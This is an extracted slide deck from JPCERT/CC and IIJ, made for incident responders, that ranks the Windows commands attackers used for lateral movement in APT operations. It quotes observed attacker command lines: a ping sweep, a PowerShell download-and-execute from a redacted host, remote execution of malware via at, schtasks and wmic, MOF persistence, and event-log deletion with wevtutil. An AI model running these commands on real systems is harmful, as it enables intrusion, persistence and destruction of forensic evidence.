Pursue the Attackers - Identify and Investigate Lateral Movement Based on Behavior Pattern
Total Page:16
File Type:pdf, Size:1020Kb
Pursue the Attackers - Identify and Investigate Lateral Movement Based on Behavior Pattern - Shusei Tomonaga (JPCERT/CC) Keisuke Muda (Internet Initiative Japan Inc.) Self-introduction Shusei Tomonaga Analysis Center at JPCERT/CC Malware analysis, Forensics investigation. Written up posts on malware analysis and technical findings on this blog and Github. —http://blog.jpcert.or.jp/ —https://github.com/JPCERTCC/aa-tools 1 Copyright ©2017 JPCERT/CC All rights reserved. Self-introduction Keisuke Muda Internet Initiative Japan Inc. (IIJ) Analyst, Security Operation Center, Security Business Department, Advanced Security Division As a member of IIJ SOC, primarily working on: —Analysis of logs sent from customers’ networks —Research/Analysis of software vulnerabilities —Enhancement of IIJ SOC service and the service infrastructure 2 Copyright ©2017 JPCERT/CC All rights reserved. Challenge of Incident Response • Many hosts need to be investigated for APT Incident Response • Logs required for investigation are not always recorded • Difficult to detect Lateral Movement 3 Copyright ©2017 JPCERT/CC All rights reserved. Approach If you know what logs are recorded with the lateral movement tools, IR will be easier. For lateral movement, a limited set of tools are used in many different incidents. There are some common patterns in the lateral movement methods. 4 Copyright ©2017 JPCERT/CC All rights reserved. This Presentation Topics Overview of APT Incident and 1 Lateral Movement Tools Used by Attackers for 2 Lateral Movement 3 Tracing Attacks Analysis of Tools Used by 4 Attackers 5 Copyright ©2017 JPCERT/CC All rights reserved. Overview of APT Incident and 1 Lateral Movement Tools Used by Attackers for 2 Lateral Movement 3 Tracing Attacks Analysis of Tools Used by 4 Attackers 6 Copyright ©2017 JPCERT/CC All rights reserved. Overview of APT Incident and Lateral Movement 1. Infection 5. Sending stolen data 2. Initial Target Network investigation 3. Internal reconnaissance 4. Spread of infection AD/ File Server 6. Delete evidence 7 Copyright ©2017 JPCERT/CC All rights reserved. Overview of APT Incident and 1 Lateral Movement Tools Used by Attackers for 2 Lateral Movement 3 Tracing Attacks Analysis of Tools Used by 4 Attackers 8 Copyright ©2017 JPCERT/CC All rights reserved. Tools Used by Attackers at Lateral Movement Attackers use not only attack tools but also Windows commands and legitimate tools. Why attackers use Windows commands and legitimate tools? They are not detected by antivirus software. 9 Copyright ©2017 JPCERT/CC All rights reserved. Research of Tools Used by Attackers Research Methods Investigating C&C servers and malware connections in five operations. APT10 (named by FireEye) APT17 (named by FireEye) Dragon OK (named by Palo Alto) Blue Termite (named by Kaspersky) Tick (named by Symantec) 10 Copyright ©2017 JPCERT/CC All rights reserved. Research Overview C&C servers Gstatus Access Database 11 Copyright ©2017 JPCERT/CC All rights reserved. Research Overview C&C servers Emdivi SQLite Database Executed commands 12 Copyright ©2017 JPCERT/CC All rights reserved. Research Overview Malware connection Type Encode RC4 key Daserf(Delphi) LZNT1 + RC4 + Custom Base64 Constant (Depends on the malware) DATPER(old) LZNT1 + RC4 + Custom Base64 Constant (Depends on the malware) lzrw1kh + xor + RC4 + Custom DATPER(new) Constant Base64 (Depends on the malware) Fixed(“1234”) xxmm LZNT1 + RC4 + Custom Base64 or one-time key 13 Copyright ©2017 JPCERT/CC All rights reserved. Research Overview Data Set Total command Total number of execution: 16,866 infected host: 645 14 Copyright ©2017 JPCERT/CC All rights reserved. Research Overview Data Set Total command Total number of execution: 16,866 infected host: 645 Total Windows command execution: 14,268 15 Copyright ©2017 JPCERT/CC All rights reserved. Lateral Movement: Initial Investigation Initial investigation • Collect information of the infected host The most used command is tasklist. If the infected host was a virtual machine for analysis, the attacker will escape soon. 16 Copyright ©2017 JPCERT/CC All rights reserved. Windows Command Used by Initial Investigation Rank Command Count 1 tasklist 327 2 ver 182 3 ipconfig 145 4 net time 133 5 systeminfo 75 6 netstat 42 7 whoami 37 8 nbtstat 36 9 net start 35 10 set 29 11 qprocess 27 12 nslookup 11 17 Copyright ©2017 JPCERT/CC All rights reserved. Lateral Movement: Internal Reconnaissance Internal Reconnaissance • Look for information saved in the compromised machine and information on the network The most used command is dir. —The attacker look around confidential data stored in the infected host. For searching the local network, net is used. 18 Copyright ©2017 JPCERT/CC All rights reserved. Windows Command Used for Internal Reconnaissance Rank Command Count 1 dir 4466 2 ping 2372 3 net view 590 4 type 543 5 net use 541 6 echo 496 7 net user 442 8 net group 172 9 net localgroup 85 10 dsquery 81 11 net config 32 12 csvde 21 19 Copyright ©2017 JPCERT/CC All rights reserved. net Command net view — Obtain a list of connectable domain resources net user — Manage local/domain accounts net localgroup — Obtain a list of users belonging to local groups net group — Obtain a list of users belonging to certain domain groups net use — Access to resources 20 Copyright ©2017 JPCERT/CC All rights reserved. Why ping command is often executed? Searching network hosts using ping > echo @echo off >ee.bat > echo for /l %%i in (1,1,255) do ping -n 1 10.0.0.%%i ^|find "TTL=" ^>^>rr.txt >>ee.bat > type ee.bat > ee.bat 21 Copyright ©2017 JPCERT/CC All rights reserved. Why echo command is executed? Create script file using the echo command > echo $p = New-Object System.Net.WebClient >xz.ps1 > echo $p.DownloadFile("http://xxxxxxxxxx.com/wp/0122. dat","c:¥intel¥logs¥0122.exe") >>xz.ps1 > type xz.ps1 > powershell -ExecutionPolicy ByPass -File C:¥intel¥logs¥ xz.ps1 22 Copyright ©2017 JPCERT/CC All rights reserved. Windows Command Used for Internal Reconnaissance Rank Command Count 13 net share 19 14 quser 18 15 net session 17 16 query 12 17 tracert 9 18 cscript 9 19 nltest 5 20 dumpel 5 21 tree 3 22 LogParser 2 23 net accounts 2 24 route 1 23 Copyright ©2017 JPCERT/CC All rights reserved. Search Logon Event logs dumpel command > dumpel.exe -f ac1.dat -l security -s ¥¥10.0.0.1 -d 10 LogParser command > LogParser ""Select *From V:¥Server¥Security.evtx Where EventID=4624 AND TimeGenerated < '2017-04-28 23:59:59' AND TimeGenerated > '2017-04-28 00:00:00'"" -i:evt -o:csv > V:¥Server¥Security.csv" 24 Copyright ©2017 JPCERT/CC All rights reserved. Search Logon Event logs LogParser command 2 > LogParser -i:evt -o:csv ¥select strings,timegenerated from security where eventid=4624 and strings like ‘%min%' and strings like '%winlogon.exe%' and (timegenerated between TO_TIMESTAMP(‘2017-10-01’, 'yyyy-MM-dd’) and TO_TIMESTAMP(‘2017-10-06', 'yyyy-MM-dd'))¥ >c:¥ windows¥temp¥log.csv 25 Copyright ©2017 JPCERT/CC All rights reserved. Search Logon Event logs cscript command > cscript eventquery.vbs /s 10.0.1.11 /l application /fi "id eq 22 " eventquery.vbs —Lists the events and event properties from one or more event logs. —Installed by default on Windows XP, Windows Server 2003. (Does not function on Windows 7 and later) 26 Copyright ©2017 JPCERT/CC All rights reserved. Lateral Movement: Spread of Infection Spread of infection • Infect the machine with other malware or try to access other hosts The most used command is at. —“at” command is not supported on Windows 10, Windows 8.1 etc. —If "at" doesn't exist, schtasks is used. Password dump tool is always used. 27 Copyright ©2017 JPCERT/CC All rights reserved. Windows Command Used for Spread of Infection Rank Command Count 1 at 445 2 move 399 3 schtasks 379 4 copy 299 5 ren 151 6 reg 119 7 wmic 40 8 powershell 29 9 md 16 10 runas 7 11 sc 6 12 netsh 6 28 Copyright ©2017 JPCERT/CC All rights reserved. Remote Command Execute Used Windows Command at command > at ¥¥[IP Address] 12:00 cmd /c "C:¥windows¥temp¥mal.exe" schtasks command > schtasks /create /tn [Task Name] /tr C:¥1.bat /sc onstart /ru System /s [IP Address] 29 Copyright ©2017 JPCERT/CC All rights reserved. Remote Command Execute Used Windows Command wmic command > wmic /node:[IP Address] /user:”[User Name]” /password:”[PASSWORD]” process call create “cmd /c c:¥Windows¥System32¥net.exe user” 30 Copyright ©2017 JPCERT/CC All rights reserved. Compile the MOF File The Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. mofcomp command > move %temp%¥mseinst.mof ¥¥server¥C$¥WINDOWS¥ system32¥wbem¥svmon.mof > mofcomp -N:root¥default C:¥WINDOWS¥system32 ¥wbem¥svmon.mof >c:¥mofinst.txt > mofcomp -AUTORECOVER C:¥WINDOWS¥system32 ¥wbem¥svmon.mof >>c:¥mofinst.txt 31 Copyright ©2017 JPCERT/CC All rights reserved. Lateral Movement: Delete Evidence Delete evidence • Delete files used by the attacker and logs The most used command is del. For deleting the event log, wevtutil is used. 32 Copyright ©2017 JPCERT/CC All rights reserved. Windows Command Used for Delete Evidence Rank Command Count 1 del 844 2 taskkill 80 3 klist 73 4 wevtutil 23 5 rd 15 33 Copyright ©2017 JPCERT/CC All rights reserved. wevtutil command Delete event logs > wevtutil cl security Search logon event logs > wevtutil qe security /f:text /q:""*[System[EventID =4624 or EventID=4769 or EventID=4672 or EventID=4768]] and *[System[TimeCreated[@ SystemTime>='2017-07-10T00:00:00.000']]]"" >c:¥windows¥system32¥log.txt 34 Copyright ©2017 JPCERT/CC All rights reserved. wevtutil command Search start-up event logs > wevtutil qe system /count:20 /rd:true /f:text /q: ""Event[System[(EventID=6005)]]"" |find ""Date"" > inf.txt 35 Copyright ©2017 JPCERT/CC All rights reserved.